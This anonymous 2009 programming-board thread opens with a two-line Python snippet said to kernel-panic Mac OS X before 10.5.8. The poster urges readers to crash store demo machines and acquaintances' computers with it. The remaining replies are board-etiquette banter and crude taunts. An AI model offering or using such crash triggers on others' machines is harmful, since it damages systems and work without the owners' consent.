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How to crash a fake computer

Name: Anonymous 2009-08-30 9:41

Open a Python prompt on any Mac with an OS version less than 10.5.8, and type the following:
import termios, fcntl
fcntl.fcntl(0, termios.TIOCGWINSZ)
INSTANT KERNEL PANIC

Unfortunately this bug is fixed in 10.5.8 so you can no longer use this in Beast Buy. However, Mac users do not upgrade they're software, so you can do this on anyone's computer who you know!

Name: Anonymous 2009-08-30 9:53

Back to /g/, please.

Name: Anonymous 2009-08-30 10:04

hax my anus

Name: !MILKRIBS4k 2009-08-30 10:18

>>1
OS 9 is not effected by this, sir! OS 9 is very secure!

Name: Anonymous 2009-08-30 10:26

>>1
back to /slashdot/ please

Name: Anonymous 2009-08-30 10:36

Macs suck. Old news.
I'd try this, but I don't actually know anybody who owns one of those godawful computers

Name: Anonymous 2009-08-30 10:40

>>6
How do you keep your hovel hipster-free? I would love to hear the secret.

Name: Anonymous 2009-08-30 10:46

>>7
Garlic.
Works for vampires, also works for hipsters.

Name: Anonymous 2009-08-30 10:47

hax my macs

Name: Anonymous 2009-08-30 10:59

How to post reddit to /prog/

Name: Anonymous 2009-08-30 11:00

>>6
>>7
>>8
BAD USE OF SAGE

Name: Anonymous 2009-08-30 11:01

>>11
kill yoursef

Name: Anonymous 2009-08-30 11:02

>>12

kill yoursef

yoursef

Name: Anonymous 2009-08-30 11:03

>>13
back to /r9k/

Name: Anonymous 2009-08-30 11:35

>>14
back to /image boards/ because you don't seem to have a clue how sage on text boards works

Name: Anonymous 2009-08-30 11:41

>>15
http://img.4chan.org/image%20boards/imgboard.html
404.

Did you mean: "back to the image boards because you don't seem to have a clue how sage on text boards works"?

Name: Anonymous 2009-08-30 12:02

>>16
yes

Name: Anonymous 2009-08-30 13:32

>>1
Mac users do not upgrade they're software
they're
They are software?
>>11
They did nothing wrong.
You, however use quoting wrong. >>6-8 would be the proper way to quote.
>>13,15-16,17
Use sage when you aren't contributing to a thread. On imageboards ``sage'' is equivalent to ``I hate this thread. Make it die.''. On textboards it is not. Here we use sage when we aren't contributing.
For example:
Prima creates a thread titled ``Sussman's stance on FIOC''
Secunda replies with ``Forced haxation of anii'' and ``sage'' in email field. He did not contribute to the thread, so he does not bump it. Thread necromancy - especially with shit posts containing no insight - is frowned upon.

Name: Anonymous 2009-08-30 14:23

>>18
prima, [...] secunda
Nice try, but there are no females on /prog/.

Name: Anonymous 2009-08-30 16:59

Mac users do not upgrade they're software
I'm sorry but I update I'm software while I sleep, since my $5000 Mac Pro came with automatic updates enabled by default. I don't tinker with System Preferences.app because I trust Steve to ship with defaults that will let me enjoy my Mac experience the best.

________
Sent from my Mac Pro

Name: Anonymous 2009-08-30 17:03

>>19
When I wear my frilly dress I am a real Touhou.

Name: Anonymous 2009-08-30 17:10

they're software

expert slashdot reader

Name: Anonymous 2009-08-30 17:11

>>21
This thread just got more interesting. Do you also wear a frilly hat?

Name: Anonymous 2009-08-30 17:34

So what if they am software?

Name: Anonymous 2009-08-30 22:18

>>23
More than one.

Name: Anonymous 2009-08-30 23:18

>>18
Bullshit.

Name: Anonymous 2009-08-30 23:45

>>25
Bullshit.

Name: Anonymous 2009-08-31 0:16

>>27
http://img82.imageshack.us/img82/3559/1249719571593.png

Name: Anonymous 2009-08-31 5:41

>>28
that is horrifying

Name: Anonymous 2009-08-31 5:47

>>1-
back to /g/, please

Name: Anonymous 2011-01-31 20:10

<-- check em dubz

Name: Anonymous 2011-02-04 17:34

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